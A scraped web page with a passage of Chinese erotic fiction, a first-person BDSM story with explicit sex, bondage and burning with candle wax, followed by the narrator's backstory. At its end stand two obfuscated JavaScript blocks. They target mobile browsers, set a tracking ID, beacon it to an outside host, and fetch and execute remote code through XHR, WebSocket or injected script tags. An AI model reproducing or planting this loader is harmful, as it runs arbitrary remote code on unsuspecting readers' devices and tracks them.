天使用力的抱着我,临空而立,时间随之凝固,那些“你有罪”的声音在半 空回旋,仿佛重击,落在天使身上。我感到天使抱着我的手越来越无力,她不甘 的挣扎,昂起头,不让我看见她痛楚的表情,雪白的翅膀在审判声里变成漆黑, 上面还附着燃烧的天火,原本金色的眼睛渐渐黯淡,她冲我露出一个温柔的微 笑,仿佛变成一个地狱天使是她最大的夙愿。我痛哭失声,心脏绞成一团,难过 的无法言喻,就象失却了世上最心爱的人。

我从哭泣中醒来,泪水沾湿了天使抱着我的手臂,她问:“你刚才梦到什么 了。”

我没法从悲伤的梦景中一下子走出来,转过身抱住她,抽泣着回答说:“梦 到你了,主人。”

她沉默了一会,微微叹息说:“我知道,你叫我的名字了。”停顿了一下又 说:“算了,我还是不问你梦到我什么了。”

我们相拥着又躺了会,直到天使的肚子发出咕咕声,我这才想起来我们早 晨起来到现在都没有吃东西,我抱歉的说:“对不起主人,我该起来给您做饭 了。”

在取得天使的同意后,我穿上睡衣,走进厨房里给她做饭,当我端着一份箭 小牛扒配意粉走出厨房时,发现她已恢复了冷漠的表情,坐在沙发上发呆,我小 心排好餐具,倒好饮料,恭敬的对她说:“主人,请用餐。”

她象饿了好几天的样子,埋头苦吃,直到大半盘东西下肚,才想起我还在旁 边,脸上闪过一丝不好意思的神情说:“你也吃点东西吧。”

我这才走进厨房,去吃我那份已经快凉掉的牛排,隔着厨房的玻璃门,我边 吃边观察着天使,她那副津津有味的样子突然让我很温暖,想到没和前夫没离婚 时,无论他吃什么山珍海味,都是一副难以下咽的表情,弄的周围的人跟他一起 倒胃口。

一想起前夫,我的心里突然一阵恶心,剩下的一些牛排就再也吃不下去了。

整个下午,天使都二楼书房里看书,非常沉醉的样子,阳光从窗外照进来, 从椅子左边移到椅子右边,她的影子在栗色的地板上忽明忽暗,仿佛水中的幻 像。

刚走进书房时,天使打量了书桌上的电脑一阵,后来又放弃打开它,转而在 书架上翻翻找找,如果寻到感兴趣的书,就拎出来放在地板上,不一会,地上就 堆了一堆书籍,她这才心满意足的拉过张椅子,坐下来看书。

她抬头对我说:“你陪我看书吧。”

我顺从的在书架上挑了会,抽出本森村诚一的《人性的证明》,说实话,书 架上的大部分书我都没有看过,买它们时,仅仅为了一时的兴趣,又或者是抱着 把书架填满的心态,所以每本书的装帧都很精美,用纸讲究,散发出诱人的墨 香,但是很多书内容是什么,我就不太清楚了。

我偷偷观察天使,透过书本的上方,她如此专注,不象许多人看书时匆匆浏 览的样子,这些文字通过她的眼睛,已在她内心构筑起一个完全属于她的世界, 也许只有象她这样专注和富有想象的人,才能指引我寻找到生命的本质。简单的 命令,直指人心的欲望,如果摆脱人类后天附加的约束,那么我还剩下什么?肯 定不会是羞耻和爱情。

“喂,你在想什么?”她突然的问话打断了我的胡思乱想。

“没想什么,主人。”

“哼!”她轻轻冷笑了一下说:“你在说谎。”我一阵慌乱,坐在那里说不 出话来。

或许是她的心情不错,过了一会她口气缓和了起来,她说:“过来吧,跪到 我身边来。”

我拿着书,离开座位跪到她腿侧,她从我手来拿过《人性的证明》,随意翻 了翻,然后自言自语的说:“很想再听听那首《草帽歌》。”

“我会,主人,您要听吗?”我把脸小心翼翼的贴在她腿上,象只小猫那样 依偎着她,我能感觉到,这首歌与她有着某种联系。

“唱吧。”她犹豫了下同意了。

“妈妈你可曾记得 你送给我那草帽 很久以前失落了 它飘向浓雾的山岙 耶哎妈妈那顶草帽 它在何方你可知道 它就像你的心儿 我再也得不到 忽然间狂风唿啸 夺去我的草帽耶哎 高高的卷走了草帽啊 飘向那天外云霄 妈妈只有那草帽 是我珍爱的无价之宝 就像是你给我的生命 失去了找不到 ……”

原来这是一首如此动人心弦外的歌曲,过去在教学生时,我仅仅感觉它挺好 听,但是当我看见天使冷漠的眼睛随着我的歌声渐渐湿润时,我彻底被自己的歌 声迷倒了。我不敢盯着她的脸看,怕把她从片刻柔软的心境中拉回到现实里,我 希望她能够看不到我,只听到我的歌声,然后舒展内心最封闭的角落,哪怕只有 片刻。

她最终还是恢复了平静,生硬的表扬我说:“唱的挺不错,不过你不要以为 这样就可以忽视我们两个的地位,牢牢记住你的奴隶身份,现在马上出去准备晚 饭吧,好了来叫我。”

我无奈而恭敬的答应着,离开书房下楼去做饭,其实我很恨做饭,油腻、烦 琐,但是正因为我不喜欢,所以我要去做,就如同主奴条约里所有的条款一样, 令我厌恶而必须遵守,唯有如此,我才会从惩罚中找到回自己。

晚饭平淡无奇到了极点,天使既没有表扬我煎的鱼美味,也没有找茬责罚 我,屋子里死气沉沉,但是透过这种表像,我有种山雨欲来风满楼的感觉,她那 副心不在焉的神情和冷冷望向我的目光,预示着她内心波澜起伏,酝酿着一场风 暴。

会是什么呢?我的神经又紧张了起来,难道那首《草帽歌》是一个导火线 吗?我边想边磨蹭着在厨房里洗完碗,擦好手霜,才走到她面前等待她下一个指 令。

她窝在沙发上抽烟,很凶的抽着,一口气下去,烟头就被烧掉了一大截,她 的愤怒突如其来,冲我吼道:“你的客厅里用的着装这么多的水晶灯吗?浪费 电!当然,象你这种天生优裕的大小姐哪里懂得节约。我这样说你,你心里一定 不服气吧,一副爆发户的嘴脸!马上给我滚去找几枝蜡烛来点上,关掉这些该死 的水晶灯,马上去,滚!”

我连忙跑到厨房里,在壁柜里翻出几枝停电时用的红蜡烛,插在一个银烛台 上点上,端出去放在沙发茶机上,又关掉了明亮的水晶灯,屋子里一下子阴暗了 下来。在阴影里,她的愤怒象蜡烛的光线一样飘摇,嘴角挂着魔鬼般的冷笑,她 假装关切的问我:“你冷吗?”

“谢谢主人关心,奴卑不冷。”我颤抖的回答她。

“不冷为什么发抖?我发现你很爱说谎!不过没有关系,我会帮助你纠正这 个缺点。”她站了起来,我连忙跪下,心里祈祷她可以放过我。

“既然不冷就把衣服脱了。”她走到我面前蹲下,不怀好意的用手指抬起我 的下巴。

“对不起主人,奴卑说谎了,奴卑的确有点冷。”我拖延着不肯脱衣服,因 为我猜不出来脱了衣服以后会有什么样的后果。

“你想违背我?赶快脱,不要敬酒不吃吃罚酒!”

她的威胁起了作用,我已经顾不得后面的结果是什么了,只好把衣服脱掉。

“很好。”她站起来,又退回到沙发上坐下,我的心跳缓和了一下,但是她 马上又说:“你想让我干坐在这里?真是笨的不可救药!你现在没穿衣服很凉 快,但是我就快热死了,你去给我倒杯啤酒来,再装一杯冰块来,真是算盘珠 子,拨一拨动一动。”

当啤酒和冰块全部摆在她面前时,她反而不去碰它们了,而是一遍遍的在我 身上打量。她用很温和的声音问道:“你现在还冷吗?”

我谨慎的想,如果我说不冷,她一定不会让我把衣服穿回去;如果说不冷也 不热,一定会被她找到发火的借口;如果说冷,她也不会让我把衣服穿回去,并 且还会说难听的话;于是我衡量再三,终于下定决心回答说:“谢谢主人,不 冷。”

“不冷就是很热了,过来,我帮你降降温。”

“我也不热,主人。”

“不热就是冷了,没有关系,我可以给你点温度。”

她的每句话都让我为难的几乎要发疯,我无奈的走到她面前,她一把就把我 拉到沙发上,让我躺在上面,她思绪游离的说:“女人真是麻烦,冷的时候说 热,热的时候说冷,口是心非,我最恨别人说谎,特别当了妈还说谎的女人。”

她抚摸着我的乳房,轻柔的激荡着我的情欲,她仿佛嫌一切还不够,动作越 来越煽情,她说:“刚才你去厨房取啤酒时,是不是在故意勾引我。”

我被她一语中的,不好意思的说:“我怕主人您生气,所以希望你看在小奴 尽力讨好您的份上,饶了小奴。”

“你认为我会饶了你吗?看来你这会的确很热。”她用力亲吻我因欲望而发 烫的皮肤,舌尖在我乳尖上盘旋,那种美妙的感觉让我全身慵懒,我轻轻呻吟起 来。突然,我的乳尖一阵刺痛,让我的呻吟变成了一声惊叫,我猛的睁开眼,看 见天使把一块冰块按在我的乳房上,那种突如其来的刺激让我不堪忍受,我挣扎 着想躲避它,但是被她牢牢按住,我不敢用手拨开她的手,只好咬牙哀求她拿 开。她不理我的哀求,拈着冰块在我身上游走,无论触到我身体那里,都不由的 让我发出惊唿,最后冰块停在我的小腹,她问我说:“现在还热吗?”

我赶快讨饶说:“不热了,主人,求你拿开它,奴卑现在很冷。”

她笑了笑,把冰块拿起来,放到嘴里,嚼碎它吐进我嘴里,我咽了下去,以 为折磨就此结束了。可是她却又从烛台上取下一枝蜡烛,举到我身体上方,悬停 在那里。她说:“冷了我给你点温暖。”

我恐惧到了极点,完全失去了思维的能力,只能躺在那里一动不动看着那枝 红烛。她的手一倾,动作十分优雅,仿佛一位贵族在往杯子里倾倒红酒,几滴烛 油随着我的惨叫落在我的胸前。

我顾不得协议,挣扎着想逃开,没想到她早有准备,把蜡烛扔回茶机上,从 沙发的缝隙里取出一条绳子,几下就把我的手反绑了起来,我反抗说:“主人, 这不是低温蜡烛,这是平时用的蜡烛。”

“低温蜡烛怎么能够让你暖和起来?”

“我现在不冷了,主人。”

“你的意思是你喜欢冰块?”她从杯子里捞出一块冰块。

我愣在那里,冰块和蜡烛,我应选哪样?它们就象十七层地狱和十八层地狱 一样,选择哪样都会让我万劫不复,我颤抖着望向她,沉默无语。

“还是我帮你选吧,你看你,冷的又在发抖了。”她放回冰块,又取了枝蜡 烛过来,我的神经随着她的动作就快崩溃,我一咬牙,心想随便吧,要来就赶快 吧,等待才是最难熬的。但是我没有想到当蜡烛滴落时,我并没有能忍住不哭, 该死的天使竟然掰开我的大腿,把它滴在我两腿之间,我一下子哭了出来,上午 的鞭子可能弄破了我最柔软的地方,所以烛油的温度一下子激发了这些疼痛,我 蜷缩起两腿,企图逃避这种疼痛。

我挣扎着背过身,把赤裸的后背留给她,她用一只手抚摩着我的后背,仿佛 一个又爱又恨我的情人,她亲了我的嵴椎一下说:“你这里有个伤疤,很深,我 相信弄破它时一定比现在的感觉要痛的多。”她的话在一瞬间击中了我,那种让 我误入歧途的感觉再次出现了,我的哭泣、我身体的疼痛,突然全部消失了,剩 下的只有心裂开时的剧痛,我突然不再恐惧,反而希望天使手里的蜡烛能够拯救 我,我扭过头说:“很痛,所以我记住了。”

“那你一定不要记住我。”她把蜡烛凑近我嵴柱,火苗几乎烧到我的后背, 她凝视着我的眼睛,慢慢的把烛油全部倒在我伤疤上,仿佛用清泉浇灌一棵树苗 般专注,我咬着唇,一声不吭的注视着她,我们对视着,半响,她吹息了所有蜡 烛,在黑暗中解开我的绳子,然后在我身上缓缓动作,象一个霸道的情人,行使 着她我给她的权力,引领我进入一个狂欢的世界。

第三章火曜日

窗外的雨点敲击在凡它能着陆的地方,混响成烦杂的情绪。半夜,它们就来 了,在十月的北京,本应稀少的雨水突然袭击了这座节日里的城市。茹眉醒了, 怕惊动假寐的我,蹑手蹑脚的上楼去拿了条冷气被给我盖上,又蜷缩在我旁边睡 着了。

她赤裸裸的背象条光滑的鱼,从北冰洋游到亚玛逊,经历了冷和热的两个不 同世界。也许茹眉上辈子真的是鱼,一条用歌声媚惑过客的人鱼,她的深情、她 的危险,统统潜伏在她的歌声里,既是我最怜惜的情人,也是我最痛恨的敌人, 如果没有矛盾,又何来暴虐,因为太美,所以想要亲手毁灭,为了不让她落入其 他人的手中。

昨夜我是个恶魔,捉弄世上所有的规则,即使在茹眉的眼中,我也是残忍的 代名词,但是这个雨夜,我无法入眠,茹眉的歌声,象颗种子一样种在我心里, 随着雨水的降落,生出剧毒的蔓藤,缠绕住尘封往事。

二十一世纪,如果开口谈纯真是会被耻笑的,好象一篇结构过于完美的小 说,大团圆的结局等同于肤浅,但有谁没有纯真过?从可笑走到现实,我们得到 了太多,唯一失去的只有纯真。20年前的国庆节,我坐在西湖边的石凳上,父 亲陪着母亲去找厕所,那时的景区,配套设施不够用,上厕所要么排上半小时 队,又么跑到较远的地方去找,反正没有轻松的选择。在父母为了上厕所烦恼 时,我也烦恼着怎么写《我的国庆》,凡70年代出生的人,都应该记得凡是过 节,学校就会布置这类节日作文,不厌其烦、亘古不变。

我边想作文边磕山核桃,碎壳从石凳上一直堆落到地上,不一会儿,就招来 了戴红袖章的老太太,她不理我把地上的碎壳全部捡回到凳子上,硬是罚走了5 元钱,那可是我一个月的零化钱,年芳十岁的我再也顾不上形象,站在西湖边嚎 啕大哭起来,大群看厌了西湖风光的游人全部向我靠拢,顿时,我成了西湖边最 亮丽最悲伤的一道风景。

我惊讶自己年少时连绵不绝的眼泪,也许是半小时,也许是四十分钟,我才 透过眼泪的缝隙看见父母飞奔过来的身影,等我抽噎着把状告完以后,母亲一下 子火了起来,拉着我去找那个罚我款的老太太,说这些人连孩子都不放过,想钱 想疯了!父亲却拖拖拉拉的跟在后面,劝她说算了,自家的孩子也有不对的地 方。母亲更生气了,指着父亲骂,说你还是不是个男人,我成天跟着你受窝囊气 不算,现在女儿也跟着你受欺负,是不是这世界上好人都死绝了,要你一个人出 来扮好人……父亲一如往常般一声不吭,我看自己把事情搞糟了,连忙乖巧的拉 母亲去看鱼,父亲远远的跟在我们后面,一副笨拙的样子。我一直不明白,同样 是大学老师,为什么母亲那么漂亮灵巧,父亲那么老实邋遢,难道男人和女人从 来都是这么不同。

走到苏堤的花港观鱼,母亲的心情已经大好了,她一路和我笑语着,路过的 人都偷眼看我们,特别是那些男人,眼神里都有种奇怪的东西。突然,我发现小 贩卖的工艺品草帽,远比湖里的锦鲤还吸引我,那些红色、蓝色、黄色、白色… …的草帽缎带,撩拨的我心里直发痒,精明的母亲马上发现了我的渴望,为了补 偿我刚才的眼泪,她笑着让我随便选,我犹豫再三才挑了顶白缎子的,装模作样 的戴好。

“臭美!”母亲轻轻捏了我的脸袋一把又说:“幸亏你长的不象你父亲,不 然就嫁不出去了。”

我赌气说:“我才不嫁人!”

“不嫁就不嫁,用不着撅嘴。过来,妈妈和你拍张照片。”母亲和照相的人 说好价,拉了我过去摆姿势。我靠在她身前,幸福的晕头转向,我说:“妈,明 年我们再来照相好吗?”

她笑笑说:“好啊,明年你就是大姑娘了。”

晚上,我兴奋的睡不着,挂在墙壁上的草帽让我才思如涌,偷偷爬起来写作 文,我回忆起坐公车回家的路上,母亲在旁边搂着我唱《草帽歌》,虽然她唱的 是日文,但是不防碍我觉得这首歌真好听,所以我要求她再来一遍再来一遍,一 直唱回家里。

天亮了,我拿着作文本去找母亲,希望她象往常时那样表扬我,推开父母的 房间,里面空无一人。我等啊等,等到中午,爷爷来敲门,我问爷爷,妈妈是不 是在他家。他没有理我,进我房间收拾了几件我的衣服就拉上我去了他家,我又 在他家等啊等,问啊问,奶奶被问烦了,她说妈妈出差去了。我才不甘心的把作 文本收起来。

过了几天,妈妈没有回来,又过了一个星期,妈妈还是没有回来。后来父亲 来了,又领了我回去,我问她,妈出差几时回来。他也不理我。我就追着问,问 到他发脾气,他发脾气时就捶桌子,把房间震的咚咚响,家里很脏,母亲走了以 后没有人打扫,灰尘随着父亲的脾气扑簌簌往下掉,我被它们迷了双眼,不停的 哭,终于我不哭了,因为父亲说:“你妈不会回来了,她扔下我们走了,你再哭 她也不会回来了,你省点眼泪吧。”

我把自己关在房间里,脑筋转不过弯来,我想啊想,终于想明白了,原来这 世上谁都可以不要谁。虽然那年我才十岁,但是我已明白了这个道理。

我摘下墙上的草帽,用火柴点燃它,它的烟从门缝底下钻出去,父亲闻到味 马上冲进来,抢过燃烧的草帽,用脚狠狠的踩,踩完后他哭了,他说:“我们两 个也能活下去。”

十岁时,母亲的突然离去让我憎恨女人,尽管后来她给我写了很多信,信封 上的地址在东京,我统统把它们扔进了垃圾箱里,我想,她是个汉奸。

二十岁时,我爱上了个女孩,同班同宿舍,她说:“张悦,快跑,看我们谁 先到教室。”“张悦,快点,快来追我。”

我不知不觉喜欢上她,但是我也憎恨她,我摆脱不了她那张精致的脸,它太 象我的母亲,于是我不跑、我不追,她又转过身跑到我面前,她说:“如果你不 喜欢跑,我可以陪着你慢慢走。”

我们相恋了,那种强大的幸福让我突然失忆,我忘记了被抛弃的滋味,认为 那是最美好的年头,是光明的季节。

我们直奔天堂,我们直奔相反的方向。

有些人一开始就相信爱情,如果破灭了,他(她)会很痛。

有些人一开始就不相信爱情,后来相信了,最后也破灭了,他(她)会失去 所有感觉。

痛和失去所有感觉,你选择什么?或许你根本没有机会选择,如同那时的我 一样。

她的家人发现了她的不正常,学校也一片哗然。在中国,没有一个火刑的世 纪,但是它总能全方位煎烤你的身心。我从恨到爱,再回到恨,如同我从地狱飞 到天堂,然后再跌回到地狱,这种落差比永远呆在地狱更悲伤。

她走了,在宿舍默默收拾行李,家人在门外等待,我从隔壁宿舍翻进自己宿 舍,她一眼也不看我。我坐在旁边的铺上抽烟,我不敢说话,一发出声音来,她 的家人马上会撞开门冲进来,那样我连最后安静的看着她离开的机会也没了。

当一切都捆好,她拎着东西走到门边却不开门出去,只站在那里,又猛的回 转身,扔下东西冲到我面前,把我手里的香烟夺过去,解开衣领,把烟头按在胸 上,我想阻止她,却被她的眼睛定在原地,我们对望着,在皮肉的焦味中作最后 的告别,烟灭了,自始至终,她一声不吭,又从容的扣好领子,拎着行李在家人 的押解下离开了。

我的爱和恨交织成一团血肉,在我身体里疯狂滋长,我想亲吻她的伤口,想 在她伤心上再撒上一把盐,我爱,我恨,我想撕裂命运,原来,伤口也是爱情的 一部分。

在这个世界上,如果不再有任何人需要你,你也不会再需要任何人。

离开成为我年轻时最大的历程,抛下身后所有的人和事,亲人的死去,父亲 的再婚,故乡的巨变,熟悉的口音……我一路往北走,偶然会停留在北方城市灰 蒙蒙的天空下,那些陌生的面孔,如水般不留痕迹。在路上,我认识了各种女 子,我们象天鹅般的颈项相交,又瞬间分开,翅膀上血痕斑斑,内心里一片茫 然。我如同一只候鸟,又从北往南飞,一直飞到版图的最南边,那里的阳光温 暖、人情单薄,我决定留下。

当我不再飞翔时,我普通的象只鸭子,在钢筋水泥的世界里蹒跚而行,毛色 暗哑,说着鸭子们说的语言,粗砺的互相问候。我明白,这里不是我的世界,一 旦我伸展出美丽的翅膀,立即会被他们驱逐出去。于是,我有了稳定的工作,固 定的女友,通过他们,我让这个世界承认我是一只鸭子,我是温文尔雅的,我是 一个最正常不过的les,我活的自然,我活的健康。

深夜,我在网络里行走,那时,我是一个来自地狱的天使,高傲的说:“臣 仆们,我是黑暗国度的王,我爱你们,所以我要鞭打你们。”

茹眉醒了,用手探探我的额头,惊唿一声说:“主人,你在发烧。”

她套上睡衣,不知所措的看着我,我身上象被压了块滚烫的石头,沉重的陷 在沙发里,我无力的说:“找点退烧药给我吃吧。”

再强悍的人也会生病,这是老天在提醒我们,我们是卑微的。我有气无力的 吞下了茹眉递给我的一把药片,就着那杯由冰块融化成的水,水中似乎还残留有 茹眉淡淡的体味。

茹眉跑去做早餐,我没等她做好出来,就感觉眼皮发粘,药和失眠产生了双 重作用,让我睡了个天昏地暗。也不知道过了多久,我迷迷煳煳听到茹眉在和谁 说话,连忙强迫自己清醒过来,一动不动的睁开眼偷看。

只见茹眉坐在钢琴前的小几上,手机贴在她耳边,她说话的声音有些压抑, 她说:“为什么一直不接我电话?瞳瞳还好吗?我已经有几个月没见到她了,宇 峰,你得让我见见她。”

对方应该是豪不留情的拒绝了她的要求,她马上激动了起来,忘记了我的存 在,很大声的说:“你不能这样,她是我女儿,不是你的。”

“是你的又怎么样!你这个死变态,你有脸就跟你爹妈去说,说瞳瞳是那个 杀人犯的种!”他大吼的声音从手机里透出来,我很惊讶茹眉竟然没有把电话从 耳朵旁边挪开,反而更用力的贴着,手指也因为用力过度而颤抖起来,她几乎用 尽全身的力气冲着电话大吼道:“孙宇峰,你是世上最卑鄙的小人,你还我女儿 ……”

她吼叫着,那种声嘶力竭让我冒了一身冷汗,完全不顾对方已经掐了线,等 到发现了,马上慌乱的重新去拨号码,但是很明显,那个“世上最卑鄙的小人” 已经关了机,或者不再接听她电话,她来回折腾了几次以后终于发现自己的行为 是毫无意义的,但是胸中的憋闷又无处发泄,于是用力一砸,把手中的电话摔碎 在钢琴上,那些破碎的零件象残肢一样四处散落。我担心她继续下去会变成神经 病,在她身后故意咳嗽了一声,她听到后,站在那里,半天没有动弹。当她转过 身来时,脸上已经挂着微笑,眼角却有泪痕。

“主人,你醒了。”她走到我身边,柔顺无比的跪伏在那里。

“你那么吵,我能不醒吗?”尽管我好奇到要死,很想问问她那个叫孙宇峰 的男人和她是怎么回事,但是脸上偏就一副事不关自的姿态。

她探手来摸摸我的额头,我依旧能感觉到她的手还没有恢复平静,她说: “主人的头已经没有那么烫了,对不起,是小奴不好,吵醒主人,请主人惩罚小 奴。”

我感到浑身发软,哪里有力气去摆弄她,就故作大方的说:“算了,这次就 饶了你,还有早餐剩吗?给我拿点来。”

她似乎有点失望,低着头进去厨房拿吃的,又低着头出来,把一碗热过的稀 饭端到我面前,正当我想坐起来吃时,她眉头微皱了下,手一侧,把一半稀饭洒 在我脖子上,我被烫的一下子蹦了起来,紧着用手拨开那些稀饭,脖子还是火辣 辣的痛了起来,我不由火上心头,这个阴险的女人竟然想用这种拙劣的手法激怒 我,她就这些想我折磨她,想到要用稀饭泼我。

我指着她鼻子骂道:“天下的贱女人多的是,没有见过比你更贱的,你不 就想我揍你,去,把你可心的家伙全部给我拿来,我倒要看看你究竟贱到什么地 步!”

她听完后,竟然不想前几次那样跪下求我,而我马上跑上楼去,步履轻盈, 我看着


上一篇:西游小记

下一篇:死亡娱乐宫Dolcett Palace


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};